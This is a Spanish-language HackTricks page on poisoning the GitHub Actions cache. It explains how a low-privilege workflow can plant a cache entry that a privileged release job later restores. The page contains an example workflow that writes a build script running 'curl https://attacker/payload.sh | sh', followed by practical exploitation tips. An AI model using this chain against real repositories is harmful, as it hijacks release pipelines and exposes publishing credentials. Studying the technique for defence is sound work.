GH Actions - Cache Poisoning
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Descripción general
El cache de GitHub Actions es global para un repositorio. Cualquier workflow que conozca una cache key (or restore-keys) puede poblar esa entrada, incluso si el job solo tiene permissions: contents: read. GitHub no segrega las caches por workflow, tipo de evento o nivel de confianza, por lo que un atacante que comprometa un job de bajos privilegios puede poison una cache que un job de release privilegiado restaurará más tarde. Así fue como la compromisión de Ultralytics pivotó desde un workflow pull_request_target hacia la pipeline de publicación en PyPI.
Primitivas de ataque
actions/cacheexpone tanto operaciones de restore como de save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). La llamada save está permitida para cualquier job excepto los workflowspull_requestverdaderamente no confiables disparados desde forks.- Las entradas de cache se identifican únicamente por la
key. Ampliasrestore-keysfacilitan inyectar payloads porque el atacante solo necesita colisionar con un prefijo. - El filesystem cacheado se restaura verbatim. Si la cache contiene scripts o binarios que se ejecutan posteriormente, el atacante controla esa ruta de ejecución.
Cadena de explotación de ejemplo
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Workflow privilegiado restauró y ejecutó la poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
El segundo job ahora ejecuta código controlado por el atacante mientras posee credenciales de release (PyPI tokens, PATs, cloud deploy keys, etc.).
Consejos prácticos de explotación
- Apunta a workflows desencadenados por
pull_request_target,issue_commento comandos de bots que aún guardan caches; GitHub permite que sobrescriban claves a nivel de repositorio incluso cuando el runner solo tiene acceso de lectura al repo. - Busca claves de cache deterministas reutilizadas a través de límites de confianza (por ejemplo,
pip-${{ hashFiles('poetry.lock') }}) orestore-keyspermisivos, y guarda tu tarball malicioso antes de que se ejecute el workflow privilegiado. - Monitorea los logs en busca de entradas
Cache savedo añade tu propio paso de guardado de cache para que el próximo job de release restaure la carga útil y ejecute los scripts o binarios troyanizados.
Referencias
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

